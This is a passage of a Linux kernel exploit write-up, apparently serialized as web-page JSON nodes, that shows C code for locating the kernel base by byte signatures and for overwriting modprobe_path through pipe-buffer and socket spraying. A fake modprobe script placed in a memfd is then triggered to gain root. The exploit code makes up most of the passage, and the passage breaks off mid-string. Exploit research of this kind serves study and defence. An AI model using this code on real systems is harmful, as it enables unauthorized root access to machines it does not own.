",{"type":25,"tag":271,"props":72114,"children":72115},{},[72116],{"type":30,"value":968},{"type":30,"value":72118}," we call the ",{"type":25,"tag":264,"props":72120,"children":72122},{"className":72121},[],[72123],{"type":30,"value":72124},"is_kernel_base()",{"type":30,"value":72126}," function. This is a function based on lau's exploit ",{"type":25,"tag":271,"props":72128,"children":72129},{},[72130],{"type":30,"value":31231},{"type":30,"value":72132}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":25,"tag":7764,"props":72134,"children":72136},{"className":42222,"code":72135,"language":42224,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[72137],{"type":25,"tag":264,"props":72138,"children":72139},{"__ignoreMap":7},[72140,72147,72177,72184,72192,72199,72207,72278,72340,72355,72362,72370,72438,72500,72561,72622,72684,72746,72807,72868,72929,72990,73051,73066,73073,73088,73095],{"type":25,"tag":271,"props":72141,"children":72142},{"class":13593,"line":13594},[72143],{"type":25,"tag":271,"props":72144,"children":72145},{"style":13625},[72146],{"type":30,"value":23442},{"type":25,"tag":271,"props":72148,"children":72149},{"class":13593,"line":11641},[72150,72155,72160,72165,72169,72173],{"type":25,"tag":271,"props":72151,"children":72152},{"style":13625},[72153],{"type":30,"value":72154},"static bool is_kernel_base(",{"type":25,"tag":271,"props":72156,"children":72157},{"style":14289},[72158],{"type":30,"value":72159},"unsigned",{"type":25,"tag":271,"props":72161,"children":72162},{"style":14289},[72163],{"type":30,"value":72164}," char",{"type":25,"tag":271,"props":72166,"children":72167},{"style":14289},[72168],{"type":30,"value":22940},{"type":25,"tag":271,"props":72170,"children":72171},{"style":13598},[72172],{"type":30,"value":43799},{"type":25,"tag":271,"props":72174,"children":72175},{"style":13625},[72176],{"type":30,"value":16299},{"type":25,"tag":271,"props":72178,"children":72179},{"class":13593,"line":14354},[72180],{"type":25,"tag":271,"props":72181,"children":72182},{"style":13625},[72183],{"type":30,"value":24005},{"type":25,"tag":271,"props":72185,"children":72186},{"class":13593,"line":14391},[72187],{"type":25,"tag":271,"props":72188,"children":72189},{"style":14385},[72190],{"type":30,"value":72191},"    // thanks lau :)\n",{"type":25,"tag":271,"props":72193,"children":72194},{"class":13593,"line":14400},[72195],{"type":25,"tag":271,"props":72196,"children":72197},{"emptyLinePlaceholder":18},[72198],{"type":30,"value":16829},{"type":25,"tag":271,"props":72200,"children":72201},{"class":13593,"line":16406},[72202],{"type":25,"tag":271,"props":72203,"children":72204},{"style":14385},[72205],{"type":30,"value":72206},"    // get-sig kernel_runtime_1\n",{"type":25,"tag":271,"props":72208,"children":72209},{"class":13593,"line":16434},[72210,72214,72218,72223,72228,72232,72237,72241,72245,72250,72254,72258,72262,72266,72270,72274],{"type":25,"tag":271,"props":72211,"children":72212},{"style":16171},[72213],{"type":30,"value":25404},{"type":25,"tag":271,"props":72215,"children":72216},{"style":13625},[72217],{"type":30,"value":16213},{"type":25,"tag":271,"props":72219,"children":72220},{"style":13620},[72221],{"type":30,"value":72222},"memcmp",{"type":25,"tag":271,"props":72224,"children":72225},{"style":13625},[72226],{"type":30,"value":72227},"(addr ",{"type":25,"tag":271,"props":72229,"children":72230},{"style":13603},[72231],{"type":30,"value":2074},{"type":25,"tag":271,"props":72233,"children":72234},{"style":16187},[72235],{"type":30,"value":72236}," 0x0",{"type":25,"tag":271,"props":72238,"children":72239},{"style":13625},[72240],{"type":30,"value":44},{"type":25,"tag":271,"props":72242,"children":72243},{"style":17388},[72244],{"type":30,"value":6294},{"type":25,"tag":271,"props":72246,"children":72247},{"style":61489},[72248],{"type":30,"value":72249},"\\x48\\x8d\\x25\\x51\\x3f",{"type":25,"tag":271,"props":72251,"children":72252},{"style":17388},[72253],{"type":30,"value":6294},{"type":25,"tag":271,"props":72255,"children":72256},{"style":13625},[72257],{"type":30,"value":44},{"type":25,"tag":271,"props":72259,"children":72260},{"style":16187},[72261],{"type":30,"value":31231},{"type":25,"tag":271,"props":72263,"children":72264},{"style":13625},[72265],{"type":30,"value":14406},{"type":25,"tag":271,"props":72267,"children":72268},{"style":13603},[72269],{"type":30,"value":21696},{"type":25,"tag":271,"props":72271,"children":72272},{"style":16187},[72273],{"type":30,"value":16190},{"type":25,"tag":271,"props":72275,"children":72276},{"style":13603},[72277],{"type":30,"value":65800},{"type":25,"tag":271,"props":72279,"children":72280},{"class":13593,"line":16447},[72281,72286,72290,72294,72299,72303,72307,72312,72316,72320,72324,72328,72332,72336],{"type":25,"tag":271,"props":72282,"children":72283},{"style":13620},[72284],{"type":30,"value":72285},"        memcmp",{"type":25,"tag":271,"props":72287,"children":72288},{"style":13625},[72289],{"type":30,"value":72227},{"type":25,"tag":271,"props":72291,"children":72292},{"style":13603},[72293],{"type":30,"value":2074},{"type":25,"tag":271,"props":72295,"children":72296},{"style":16187},[72297],{"type":30,"value":72298}," 0x7",{"type":25,"tag":271,"props":72300,"children":72301},{"style":13625},[72302],{"type":30,"value":44},{"type":25,"tag":271,"props":72304,"children":72305},{"style":17388},[72306],{"type":30,"value":6294},{"type":25,"tag":271,"props":72308,"children":72309},{"style":61489},[72310],{"type":30,"value":72311},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":25,"tag":271,"props":72313,"children":72314},{"style":17388},[72315],{"type":30,"value":6294},{"type":25,"tag":271,"props":72317,"children":72318},{"style":13625},[72319],{"type":30,"value":44},{"type":25,"tag":271,"props":72321,"children":72322},{"style":16187},[72323],{"type":30,"value":67787},{"type":25,"tag":271,"props":72325,"children":72326},{"style":13625},[72327],{"type":30,"value":14406},{"type":25,"tag":271,"props":72329,"children":72330},{"style":13603},[72331],{"type":30,"value":21696},{"type":25,"tag":271,"props":72333,"children":72334},{"style":16187},[72335],{"type":30,"value":16190},{"type":25,"tag":271,"props":72337,"children":72338},{"style":13625},[72339],{"type":30,"value":16299},{"type":25,"tag":271,"props":72341,"children":72342},{"class":13593,"line":16465},[72343,72347,72351],{"type":25,"tag":271,"props":72344,"children":72345},{"style":16171},[72346],{"type":30,"value":28866},{"type":25,"tag":271,"props":72348,"children":72349},{"style":14289},[72350],{"type":30,"value":25594},{"type":25,"tag":271,"props":72352,"children":72353},{"style":13625},[72354],{"type":30,"value":16165},{"type":25,"tag":271,"props":72356,"children":72357},{"class":13593,"line":16486},[72358],{"type":25,"tag":271,"props":72359,"children":72360},{"emptyLinePlaceholder":18},[72361],{"type":30,"value":16829},{"type":25,"tag":271,"props":72363,"children":72364},{"class":13593,"line":16495},[72365],{"type":25,"tag":271,"props":72366,"children":72367},{"style":14385},[72368],{"type":30,"value":72369},"    // get-sig kernel_runtime_2\n",{"type":25,"tag":271,"props":72371,"children":72372},{"class":13593,"line":16744},[72373,72377,72381,72385,72389,72393,72397,72401,72405,72410,72414,72418,72422,72426,72430,72434],{"type":25,"tag":271,"props":72374,"children":72375},{"style":16171},[72376],{"type":30,"value":25404},{"type":25,"tag":271,"props":72378,"children":72379},{"style":13625},[72380],{"type":30,"value":16213},{"type":25,"tag":271,"props":72382,"children":72383},{"style":13620},[72384],{"type":30,"value":72222},{"type":25,"tag":271,"props":72386,"children":72387},{"style":13625},[72388],{"type":30,"value":72227},{"type":25,"tag":271,"props":72390,"children":72391},{"style":13603},[72392],{"type":30,"value":2074},{"type":25,"tag":271,"props":72394,"children":72395},{"style":16187},[72396],{"type":30,"value":72236},{"type":25,"tag":271,"props":72398,"children":72399},{"style":13625},[72400],{"type":30,"value":44},{"type":25,"tag":271,"props":72402,"children":72403},{"style":17388},[72404],{"type":30,"value":6294},{"type":25,"tag":271,"props":72406,"children":72407},{"style":61489},[72408],{"type":30,"value":72409},"\\xfc\\x0f\\x01\\x15",{"type":25,"tag":271,"props":72411,"children":72412},{"style":17388},[72413],{"type":30,"value":6294},{"type":25,"tag":271,"props":72415,"children":72416},{"style":13625},[72417],{"type":30,"value":44},{"type":25,"tag":271,"props":72419,"children":72420},{"style":16187},[72421],{"type":30,"value":30650},{"type":25,"tag":271,"props":72423,"children":72424},{"style":13625},[72425],{"type":30,"value":14406},{"type":25,"tag":271,"props":72427,"children":72428},{"style":13603},[72429],{"type":30,"value":21696},{"type":25,"tag":271,"props":72431,"children":72432},{"style":16187},[72433],{"type":30,"value":16190},{"type":25,"tag":271,"props":72435,"children":72436},{"style":13603},[72437],{"type":30,"value":65800},{"type":25,"tag":271,"props":72439,"children":72440},{"class":13593,"line":16761},[72441,72445,72449,72453,72458,72462,72466,72471,72475,72479,72484,72488,72492,72496],{"type":25,"tag":271,"props":72442,"children":72443},{"style":13620},[72444],{"type":30,"value":72285},{"type":25,"tag":271,"props":72446,"children":72447},{"style":13625},[72448],{"type":30,"value":72227},{"type":25,"tag":271,"props":72450,"children":72451},{"style":13603},[72452],{"type":30,"value":2074},{"type":25,"tag":271,"props":72454,"children":72455},{"style":16187},[72456],{"type":30,"value":72457}," 0x8",{"type":25,"tag":271,"props":72459,"children":72460},{"style":13625},[72461],{"type":30,"value":44},{"type":25,"tag":271,"props":72463,"children":72464},{"style":17388},[72465],{"type":30,"value":6294},{"type":25,"tag":271,"props":72467,"children":72468},{"style":61489},[72469],{"type":30,"value":72470},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":25,"tag":271,"props":72472,"children":72473},{"style":17388},[72474],{"type":30,"value":6294},{"type":25,"tag":271,"props":72476,"children":72477},{"style":13625},[72478],{"type":30,"value":44},{"type":25,"tag":271,"props":72480,"children":72481},{"style":16187},[72482],{"type":30,"value":72483},"12",{"type":25,"tag":271,"props":72485,"children":72486},{"style":13625},[72487],{"type":30,"value":14406},{"type":25,"tag":271,"props":72489,"children":72490},{"style":13603},[72491],{"type":30,"value":21696},{"type":25,"tag":271,"props":72493,"children":72494},{"style":16187},[72495],{"type":30,"value":16190},{"type":25,"tag":271,"props":72497,"children":72498},{"style":13603},[72499],{"type":30,"value":65800},{"type":25,"tag":271,"props":72501,"children":72502},{"class":13593,"line":16778},[72503,72507,72511,72515,72520,72524,72528,72533,72537,72541,72545,72549,72553,72557],{"type":25,"tag":271,"props":72504,"children":72505},{"style":13620},[72506],{"type":30,"value":72285},{"type":25,"tag":271,"props":72508,"children":72509},{"style":13625},[72510],{"type":30,"value":72227},{"type":25,"tag":271,"props":72512,"children":72513},{"style":13603},[72514],{"type":30,"value":2074},{"type":25,"tag":271,"props":72516,"children":72517},{"style":16187},[72518],{"type":30,"value":72519}," 0x18",{"type":25,"tag":271,"props":72521,"children":72522},{"style":13625},[72523],{"type":30,"value":44},{"type":25,"tag":271,"props":72525,"children":72526},{"style":17388},[72527],{"type":30,"value":6294},{"type":25,"tag":271,"props":72529,"children":72530},{"style":61489},[72531],{"type":30,"value":72532},"\\x89\\xde\\x8b\\x0d",{"type":25,"tag":271,"props":72534,"children":72535},{"style":17388},[72536],{"type":30,"value":6294},{"type":25,"tag":271,"props":72538,"children":72539},{"style":13625},[72540],{"type":30,"value":44},{"type":25,"tag":271,"props":72542,"children":72543},{"style":16187},[72544],{"type":30,"value":30650},{"type":25,"tag":271,"props":72546,"children":72547},{"style":13625},[72548],{"type":30,"value":14406},{"type":25,"tag":271,"props":72550,"children":72551},{"style":13603},[72552],{"type":30,"value":21696},{"type":25,"tag":271,"props":72554,"children":72555},{"style":16187},[72556],{"type":30,"value":16190},{"type":25,"tag":271,"props":72558,"children":72559},{"style":13603},[72560],{"type":30,"value":65800},{"type":25,"tag":271,"props":72562,"children":72563},{"class":13593,"line":16791},[72564,72568,72572,72576,72581,72585,72589,72594,72598,72602,72606,72610,72614,72618],{"type":25,"tag":271,"props":72565,"children":72566},{"style":13620},[72567],{"type":30,"value":72285},{"type":25,"tag":271,"props":72569,"children":72570},{"style":13625},[72571],{"type":30,"value":72227},{"type":25,"tag":271,"props":72573,"children":72574},{"style":13603},[72575],{"type":30,"value":2074},{"type":25,"tag":271,"props":72577,"children":72578},{"style":16187},[72579],{"type":30,"value":72580}," 0x20",{"type":25,"tag":271,"props":72582,"children":72583},{"style":13625},[72584],{"type":30,"value":44},{"type":25,"tag":271,"props":72586,"children":72587},{"style":17388},[72588],{"type":30,"value":6294},{"type":25,"tag":271,"props":72590,"children":72591},{"style":61489},[72592],{"type":30,"value":72593},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":25,"tag":271,"props":72595,"children":72596},{"style":17388},[72597],{"type":30,"value":6294},{"type":25,"tag":271,"props":72599,"children":72600},{"style":13625},[72601],{"type":30,"value":44},{"type":25,"tag":271,"props":72603,"children":72604},{"style":16187},[72605],{"type":30,"value":31542},{"type":25,"tag":271,"props":72607,"children":72608},{"style":13625},[72609],{"type":30,"value":14406},{"type":25,"tag":271,"props":72611,"children":72612},{"style":13603},[72613],{"type":30,"value":21696},{"type":25,"tag":271,"props":72615,"children":72616},{"style":16187},[72617],{"type":30,"value":16190},{"type":25,"tag":271,"props":72619,"children":72620},{"style":13603},[72621],{"type":30,"value":65800},{"type":25,"tag":271,"props":72623,"children":72624},{"class":13593,"line":16800},[72625,72629,72633,72637,72642,72646,72650,72655,72659,72663,72668,72672,72676,72680],{"type":25,"tag":271,"props":72626,"children":72627},{"style":13620},[72628],{"type":30,"value":72285},{"type":25,"tag":271,"props":72630,"children":72631},{"style":13625},[72632],{"type":30,"value":72227},{"type":25,"tag":271,"props":72634,"children":72635},{"style":13603},[72636],{"type":30,"value":2074},{"type":25,"tag":271,"props":72638,"children":72639},{"style":16187},[72640],{"type":30,"value":72641}," 0x2a",{"type":25,"tag":271,"props":72643,"children":72644},{"style":13625},[72645],{"type":30,"value":44},{"type":25,"tag":271,"props":72647,"children":72648},{"style":17388},[72649],{"type":30,"value":6294},{"type":25,"tag":271,"props":72651,"children":72652},{"style":61489},[72653],{"type":30,"value":72654},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":25,"tag":271,"props":72656,"children":72657},{"style":17388},[72658],{"type":30,"value":6294},{"type":25,"tag":271,"props":72660,"children":72661},{"style":13625},[72662],{"type":30,"value":44},{"type":25,"tag":271,"props":72664,"children":72665},{"style":16187},[72666],{"type":30,"value":72667},"24",{"type":25,"tag":271,"props":72669,"children":72670},{"style":13625},[72671],{"type":30,"value":14406},{"type":25,"tag":271,"props":72673,"children":72674},{"style":13603},[72675],{"type":30,"value":21696},{"type":25,"tag":271,"props":72677,"children":72678},{"style":16187},[72679],{"type":30,"value":16190},{"type":25,"tag":271,"props":72681,"children":72682},{"style":13603},[72683],{"type":30,"value":65800},{"type":25,"tag":271,"props":72685,"children":72686},{"class":13593,"line":16823},[72687,72691,72695,72699,72704,72708,72712,72717,72721,72725,72730,72734,72738,72742],{"type":25,"tag":271,"props":72688,"children":72689},{"style":13620},[72690],{"type":30,"value":72285},{"type":25,"tag":271,"props":72692,"children":72693},{"style":13625},[72694],{"type":30,"value":72227},{"type":25,"tag":271,"props":72696,"children":72697},{"style":13603},[72698],{"type":30,"value":2074},{"type":25,"tag":271,"props":72700,"children":72701},{"style":16187},[72702],{"type":30,"value":72703}," 0x45",{"type":25,"tag":271,"props":72705,"children":72706},{"style":13625},[72707],{"type":30,"value":44},{"type":25,"tag":271,"props":72709,"children":72710},{"style":17388},[72711],{"type":30,"value":6294},{"type":25,"tag":271,"props":72713,"children":72714},{"style":61489},[72715],{"type":30,"value":72716},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":25,"tag":271,"props":72718,"children":72719},{"style":17388},[72720],{"type":30,"value":6294},{"type":25,"tag":271,"props":72722,"children":72723},{"style":13625},[72724],{"type":30,"value":44},{"type":25,"tag":271,"props":72726,"children":72727},{"style":16187},[72728],{"type":30,"value":72729},"15",{"type":25,"tag":271,"props":72731,"children":72732},{"style":13625},[72733],{"type":30,"value":14406},{"type":25,"tag":271,"props":72735,"children":72736},{"style":13603},[72737],{"type":30,"value":21696},{"type":25,"tag":271,"props":72739,"children":72740},{"style":16187},[72741],{"type":30,"value":16190},{"type":25,"tag":271,"props":72743,"children":72744},{"style":13603},[72745],{"type":30,"value":65800},{"type":25,"tag":271,"props":72747,"children":72748},{"class":13593,"line":16832},[72749,72753,72757,72761,72766,72770,72774,72779,72783,72787,72791,72795,72799,72803],{"type":25,"tag":271,"props":72750,"children":72751},{"style":13620},[72752],{"type":30,"value":72285},{"type":25,"tag":271,"props":72754,"children":72755},{"style":13625},[72756],{"type":30,"value":72227},{"type":25,"tag":271,"props":72758,"children":72759},{"style":13603},[72760],{"type":30,"value":2074},{"type":25,"tag":271,"props":72762,"children":72763},{"style":16187},[72764],{"type":30,"value":72765}," 0x55",{"type":25,"tag":271,"props":72767,"children":72768},{"style":13625},[72769],{"type":30,"value":44},{"type":25,"tag":271,"props":72771,"children":72772},{"style":17388},[72773],{"type":30,"value":6294},{"type":25,"tag":271,"props":72775,"children":72776},{"style":61489},[72777],{"type":30,"value":72778},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":25,"tag":271,"props":72780,"children":72781},{"style":17388},[72782],{"type":30,"value":6294},{"type":25,"tag":271,"props":72784,"children":72785},{"style":13625},[72786],{"type":30,"value":44},{"type":25,"tag":271,"props":72788,"children":72789},{"style":16187},[72790],{"type":30,"value":17214},{"type":25,"tag":271,"props":72792,"children":72793},{"style":13625},[72794],{"type":30,"value":14406},{"type":25,"tag":271,"props":72796,"children":72797},{"style":13603},[72798],{"type":30,"value":21696},{"type":25,"tag":271,"props":72800,"children":72801},{"style":16187},[72802],{"type":30,"value":16190},{"type":25,"tag":271,"props":72804,"children":72805},{"style":13603},[72806],{"type":30,"value":65800},{"type":25,"tag":271,"props":72808,"children":72809},{"class":13593,"line":16841},[72810,72814,72818,72822,72827,72831,72835,72840,72844,72848,72852,72856,72860,72864],{"type":25,"tag":271,"props":72811,"children":72812},{"style":13620},[72813],{"type":30,"value":72285},{"type":25,"tag":271,"props":72815,"children":72816},{"style":13625},[72817],{"type":30,"value":72227},{"type":25,"tag":271,"props":72819,"children":72820},{"style":13603},[72821],{"type":30,"value":2074},{"type":25,"tag":271,"props":72823,"children":72824},{"style":16187},[72825],{"type":30,"value":72826}," 0x61",{"type":25,"tag":271,"props":72828,"children":72829},{"style":13625},[72830],{"type":30,"value":44},{"type":25,"tag":271,"props":72832,"children":72833},{"style":17388},[72834],{"type":30,"value":6294},{"type":25,"tag":271,"props":72836,"children":72837},{"style":61489},[72838],{"type":30,"value":72839},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":25,"tag":271,"props":72841,"children":72842},{"style":17388},[72843],{"type":30,"value":6294},{"type":25,"tag":271,"props":72845,"children":72846},{"style":13625},[72847],{"type":30,"value":44},{"type":25,"tag":271,"props":72849,"children":72850},{"style":16187},[72851],{"type":30,"value":31231},{"type":25,"tag":271,"props":72853,"children":72854},{"style":13625},[72855],{"type":30,"value":14406},{"type":25,"tag":271,"props":72857,"children":72858},{"style":13603},[72859],{"type":30,"value":21696},{"type":25,"tag":271,"props":72861,"children":72862},{"style":16187},[72863],{"type":30,"value":16190},{"type":25,"tag":271,"props":72865,"children":72866},{"style":13603},[72867],{"type":30,"value":65800},{"type":25,"tag":271,"props":72869,"children":72870},{"class":13593,"line":16907},[72871,72875,72879,72883,72888,72892,72896,72901,72905,72909,72913,72917,72921,72925],{"type":25,"tag":271,"props":72872,"children":72873},{"style":13620},[72874],{"type":30,"value":72285},{"type":25,"tag":271,"props":72876,"children":72877},{"style":13625},[72878],{"type":30,"value":72227},{"type":25,"tag":271,"props":72880,"children":72881},{"style":13603},[72882],{"type":30,"value":2074},{"type":25,"tag":271,"props":72884,"children":72885},{"style":16187},[72886],{"type":30,"value":72887}," 0x6a",{"type":25,"tag":271,"props":72889,"children":72890},{"style":13625},[72891],{"type":30,"value":44},{"type":25,"tag":271,"props":72893,"children":72894},{"style":17388},[72895],{"type":30,"value":6294},{"type":25,"tag":271,"props":72897,"children":72898},{"style":61489},[72899],{"type":30,"value":72900},"\\x48\\xc7\\xc6",{"type":25,"tag":271,"props":72902,"children":72903},{"style":17388},[72904],{"type":30,"value":6294},{"type":25,"tag":271,"props":72906,"children":72907},{"style":13625},[72908],{"type":30,"value":44},{"type":25,"tag":271,"props":72910,"children":72911},{"style":16187},[72912],{"type":30,"value":7711},{"type":25,"tag":271,"props":72914,"children":72915},{"style":13625},[72916],{"type":30,"value":14406},{"type":25,"tag":271,"props":72918,"children":72919},{"style":13603},[72920],{"type":30,"value":21696},{"type":25,"tag":271,"props":72922,"children":72923},{"style":16187},[72924],{"type":30,"value":16190},{"type":25,"tag":271,"props":72926,"children":72927},{"style":13603},[72928],{"type":30,"value":65800},{"type":25,"tag":271,"props":72930,"children":72931},{"class":13593,"line":16915},[72932,72936,72940,72944,72949,72953,72957,72962,72966,72970,72974,72978,72982,72986],{"type":25,"tag":271,"props":72933,"children":72934},{"style":13620},[72935],{"type":30,"value":72285},{"type":25,"tag":271,"props":72937,"children":72938},{"style":13625},[72939],{"type":30,"value":72227},{"type":25,"tag":271,"props":72941,"children":72942},{"style":13603},[72943],{"type":30,"value":2074},{"type":25,"tag":271,"props":72945,"children":72946},{"style":16187},[72947],{"type":30,"value":72948}," 0x71",{"type":25,"tag":271,"props":72950,"children":72951},{"style":13625},[72952],{"type":30,"value":44},{"type":25,"tag":271,"props":72954,"children":72955},{"style":17388},[72956],{"type":30,"value":6294},{"type":25,"tag":271,"props":72958,"children":72959},{"style":61489},[72960],{"type":30,"value":72961},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":25,"tag":271,"props":72963,"children":72964},{"style":17388},[72965],{"type":30,"value":6294},{"type":25,"tag":271,"props":72967,"children":72968},{"style":13625},[72969],{"type":30,"value":44},{"type":25,"tag":271,"props":72971,"children":72972},{"style":16187},[72973],{"type":30,"value":31542},{"type":25,"tag":271,"props":72975,"children":72976},{"style":13625},[72977],{"type":30,"value":14406},{"type":25,"tag":271,"props":72979,"children":72980},{"style":13603},[72981],{"type":30,"value":21696},{"type":25,"tag":271,"props":72983,"children":72984},{"style":16187},[72985],{"type":30,"value":16190},{"type":25,"tag":271,"props":72987,"children":72988},{"style":13603},[72989],{"type":30,"value":65800},{"type":25,"tag":271,"props":72991,"children":72992},{"class":13593,"line":16945},[72993,72997,73001,73005,73010,73014,73018,73023,73027,73031,73035,73039,73043,73047],{"type":25,"tag":271,"props":72994,"children":72995},{"style":13620},[72996],{"type":30,"value":72285},{"type":25,"tag":271,"props":72998,"children":72999},{"style":13625},[73000],{"type":30,"value":72227},{"type":25,"tag":271,"props":73002,"children":73003},{"style":13603},[73004],{"type":30,"value":2074},{"type":25,"tag":271,"props":73006,"children":73007},{"style":16187},[73008],{"type":30,"value":73009}," 0x78",{"type":25,"tag":271,"props":73011,"children":73012},{"style":13625},[73013],{"type":30,"value":44},{"type":25,"tag":271,"props":73015,"children":73016},{"style":17388},[73017],{"type":30,"value":6294},{"type":25,"tag":271,"props":73019,"children":73020},{"style":61489},[73021],{"type":30,"value":73022},"\\xff\\xe0",{"type":25,"tag":271,"props":73024,"children":73025},{"style":17388},[73026],{"type":30,"value":6294},{"type":25,"tag":271,"props":73028,"children":73029},{"style":13625},[73030],{"type":30,"value":44},{"type":25,"tag":271,"props":73032,"children":73033},{"style":16187},[73034],{"type":30,"value":1326},{"type":25,"tag":271,"props":73036,"children":73037},{"style":13625},[73038],{"type":30,"value":14406},{"type":25,"tag":271,"props":73040,"children":73041},{"style":13603},[73042],{"type":30,"value":21696},{"type":25,"tag":271,"props":73044,"children":73045},{"style":16187},[73046],{"type":30,"value":16190},{"type":25,"tag":271,"props":73048,"children":73049},{"style":13625},[73050],{"type":30,"value":16299},{"type":25,"tag":271,"props":73052,"children":73053},{"class":13593,"line":16953},[73054,73058,73062],{"type":25,"tag":271,"props":73055,"children":73056},{"style":16171},[73057],{"type":30,"value":28866},{"type":25,"tag":271,"props":73059,"children":73060},{"style":14289},[73061],{"type":30,"value":25594},{"type":25,"tag":271,"props":73063,"children":73064},{"style":13625},[73065],{"type":30,"value":16165},{"type":25,"tag":271,"props":73067,"children":73068},{"class":13593,"line":16984},[73069],{"type":25,"tag":271,"props":73070,"children":73071},{"emptyLinePlaceholder":18},[73072],{"type":30,"value":16829},{"type":25,"tag":271,"props":73074,"children":73075},{"class":13593,"line":16992},[73076,73080,73084],{"type":25,"tag":271,"props":73077,"children":73078},{"style":16171},[73079],{"type":30,"value":30111},{"type":25,"tag":271,"props":73081,"children":73082},{"style":14289},[73083],{"type":30,"value":22179},{"type":25,"tag":271,"props":73085,"children":73086},{"style":13625},[73087],{"type":30,"value":16165},{"type":25,"tag":271,"props":73089,"children":73090},{"class":13593,"line":17052},[73091],{"type":25,"tag":271,"props":73092,"children":73093},{"style":13625},[73094],{"type":30,"value":17058},{"type":25,"tag":271,"props":73096,"children":73097},{"class":13593,"line":22168},[73098],{"type":25,"tag":271,"props":73099,"children":73100},{"style":13625},[73101],{"type":30,"value":23442},{"type":25,"tag":247,"props":73103,"children":73105},{"id":73104},"overwriting-modprobe_path",[73106,73108],{"type":30,"value":73107},"Overwriting ",{"type":25,"tag":264,"props":73109,"children":73111},{"className":73110},[],[73112],{"type":30,"value":71493},{"type":25,"tag":26,"props":73114,"children":73115},{},[73116,73118,73124],{"type":30,"value":73117},"Finding the ",{"type":25,"tag":264,"props":73119,"children":73121},{"className":73120},[],[73122],{"type":30,"value":73123},"/sbin/modprobe",{"type":30,"value":73125}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":25,"tag":26,"props":73127,"children":73128},{},[73129,73131,73137],{"type":30,"value":73130},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":25,"tag":264,"props":73132,"children":73134},{"className":73133},[],[73135],{"type":30,"value":73136},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":30,"value":73138}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":25,"tag":7764,"props":73140,"children":73142},{"className":42222,"code":73141,"language":42224,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe 